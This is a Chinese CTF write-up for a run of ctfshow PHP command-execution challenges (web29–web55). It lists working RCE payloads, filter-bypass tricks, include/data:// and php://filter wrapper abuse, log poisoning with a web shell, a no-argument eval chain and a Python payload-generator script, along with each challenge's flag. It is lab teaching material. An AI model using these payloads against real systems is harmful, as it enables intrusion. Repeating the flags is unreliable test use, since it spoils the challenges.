web29:
就过滤了一个flag,先查看当前目录下面有哪些文件
/?c=system('ls');
因为过滤了flag,所以直接用通配符即可
/?c=system('tac fla*');
flag=ctfshow{07ca0a20-53e2-4c7d-9061-8ef4e4920441}
web30:
比上题多过滤了system和php,可以用反引号``来执行系统命令
/?c=echo `tac fl*`;
除了system()、反引号``可以执行系统命令,exec()、shell_exec()、passthru()等函数也可以
flag=ctfshow{c4bec179-8aa8-4a65-8cff-6bdd0ba4951f}
web31:
较上题又多过滤了一些关键词,关键的是过滤了空格,可以用%09、%0a、${IFS}、<等方式来过滤
/?c=echo%09`tac%09fl*`;
flag=ctfshow{51cee231-dc73-4169-baad-03b6f9e46e73}
web32:
这题关键是将括号和反引号给过滤了,那么就不能用命令执行来获取flag了,可以使用include包含配合伪协议来完成
/?c=include"$_GET[a]"?>&a=php://filter/convert.base64-encode/resource=flag.php
这里分号;被过滤掉了,因为php最后一句在?>前可以不加分号,可以采用?>来绕过,作为语句的结束,所以&a=后面可以不受源码中preg_match()函数的过滤影响
得到flag.php源码的base64编码后的值
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7OWRlZDQwZmItZWVkMC00MzUwLThlMjUtY2YyZTZiM2Y2ZGMyfSI7DQo=
再进行base64解码后得
flag=ctfshow{9ded40fb-eed0-4350-8e25-cf2e6b3f6dc2}
还可以使用包含日志文件'/var/log/nginx/access.log',然后进行UA头注入来获取flag
web33:
较上题多过滤了",可以继续用上题的做法,include后面不加双引号
/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
flag=ctfshow{342453e6-da8e-41e9-8211-f3b5aae6a625}
web34:
和上题类似
flag=ctfshow{d1b84bb4-a8d1-4d3b-a1cd-cd46f096f663}
web35:
和上题类似,多过滤了左尖括号<,没有实质性的作用
flag=ctfshow{ae3eeb54-37eb-4b5e-b53d-5b2a88f04d7f}
web36:
flag=ctfshow{d07cda18-465e-42d8-8b1c-56369b695b09}
web37:
发现有包含include,又过滤了flag,直接包含他的日志
?c=/var/log/nginx/access.log
修改请求包的UA头,进行注入
然后菜刀进行连接
然后拿到flag
flag=ctfshow{a209e4c6-7ac0-4666-8665-a30ae1f2abed}
还可以用data://text/plain:base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=伪协议也可以
web38:
和上题一样可以用日志包含,然后挂马菜刀连接,和data伪协议,这里用伪协议来完成
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
flag=ctfshow{d0bd331c-722e-4dc8-b41a-513470dea83f}
web39:
include包含里变量c后面还加了个.php,这里用data伪协议
?c=data://text/plain,<?=system('tac fl*')?>
后面的.php可以不用管,include只会读到?>前
web40:
过滤了很多,但是括号只是过滤的中文的括号
先给payload,然后一步一步拆解
/?c=eval((array_pop(next(get_defined_vars()))));
然后POST传入参数1=system('tac flag.php'); 1可换做其他,这是无参数RCE
1.get_defined_vars()函数在php中是返回由所有已定义变量所组成的数组, 我们print_r给他显示出来, 便能直观感受到
2.next(get_defined_vars()), 是查看数组中最后一个键值对, 用print_r显示出来
但如果我们通过POST传入一个1=phpinfo();,那么这时最后一个键值对便是刚输进去的1=phpinfo();
3.array_pop(next(get_defined_vars()))是将数组中最后一个键值对的值弹出,配和POST传入的1=phpinfo(); 弹出的就是phpinfo(), 用print_r显示出来
4.然后将弹出的phpinfo()执行,便是
eval((array_pop(next(get_defined_vars()))));
将phpinfo();换成system('tac flag.php');
flag=ctfshow{e8bfb1a1-bde7-4fe0-9f54-4f70ee862290}
web41:
过滤了数字、大小写字母和一些特殊符号,基本大部分的都过滤了,只能对ASCII码中没被过滤的字符进行匹配,需要用到python写一个自动化脚本,以下是摘自往上的python脚本代码
import re
import urllib
from urllib import parse
import requests
contents = []
for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])
def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload
URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)
运行脚本,输入本题URL,便能直接获得flag
flag=ctfshow{648da8df-e13f-46e7-a1c1-144f9006fbcc}
web42:
开始命令执行,这里如果直接c=tac flag.php 的话,会将flag值重定向到 /dev/null,同时将程序在后台运行,就无法成功显示flag
可以在后面加分号,或||来进行分隔,payload如下:
/?c=tac flag.php ;
flag=ctfshow{d0b68d30-a2f8-42e7-9da3-85b4b24c5d8d}
web43:
过滤了;和cat,用||来代替,payload如下:
/?c=tac flag.php||
flag=ctfshow{d4678ede-de28-4b4e-871b-4b60dd6e38ae}
web44:
较上题多过滤了flag,用通配符即可绕过,payload如下:
/?c=tac fl*||
flag=ctfshow{fbf26dcf-275f-4aeb-a366-fd4dab9b7acb}
web45:
较上题多过滤了空格,可以用%09,%0a,<,${IFS}等来绕过,payload如下:
/?c=tac${IFS}fl*||
flag=ctfshow{af714921-de7f-4c0a-8c18-d22434f35fd2}
web46:
这题又多过滤的几个特殊符号,通配符*被过滤了,可以用?代替,payload如下:
/?c=tac%09fla?.php||
flag=ctfshow{a6893fad-9aca-4ef6-b266-2b61202c7192}
web47:
和上题基本一样,就多过滤了几个读文件的命令,payload和一样
flag=ctfshow{ac6f7d85-32d1-4c55-86d7-5b432bc62f38}
web48:
依旧一样,多过滤了一些无关紧要的命令,payload不变
flag=ctfshow{b0bea776-75f0-4c42-b485-8c7de9830a69}
web49:
flag=ctfshow{82a7f0d9-91d0-4e0c-98c8-7902a646e853}
web50:
09被过滤,用<过滤空格,通配符?也用不了了,可以用''、""、\来拼接,payload如下:
/?c=tac<fla''g.php||
flag=ctfshow{2301f347-468a-48a7-8f95-f68cb48507c5}
web51:
tac被过滤了,同样可以用\、''、""来拼接,payload如下:
/?c=ta\c<fl\ag.php||
flag=ctfshow{b3eb7b30-8e68-431b-b3de-6f26e7ba634a}
除了这样还有个nl命令也可以读flag.php
web52:
<被过滤了,但是$没有被过滤,可以用${IFS}来绕过空格,payload如下:
/?c=ta\c${IFS}fla\g.php||
但显示flag不在这里
查看根目录有没有
/?c=ls${IFS}/||
有个flag文件
/?c=ta\c${IFS}/fl\ag||
flag=ctfshow{a5aa265b-4ad8-4c1d-9be3-0100392d2a7a}
web53:
和上题一样,就是不用在后面加||了,payload如下:
/?c=ta\c${IFS}fla\g.php
flag=ctfshow{22e61c33-df08-4b97-b199-f8915a432571}
web54:
过滤了很多,但是没过滤cp和mv,payload如下:
mv${IFS}f???.php${IFS}tj.txt
然后访问tj.txt
flag=ctfshow{d5b95076-f0f3-4df6-8be2-3d56fe6fcacf}
虽说过滤了很多读文件的命令,但还可以用uniq命令来读取flag.php文件
web55:
版权归原作者 Snow--Leopard 所有, 如有侵权,请联系我们删除。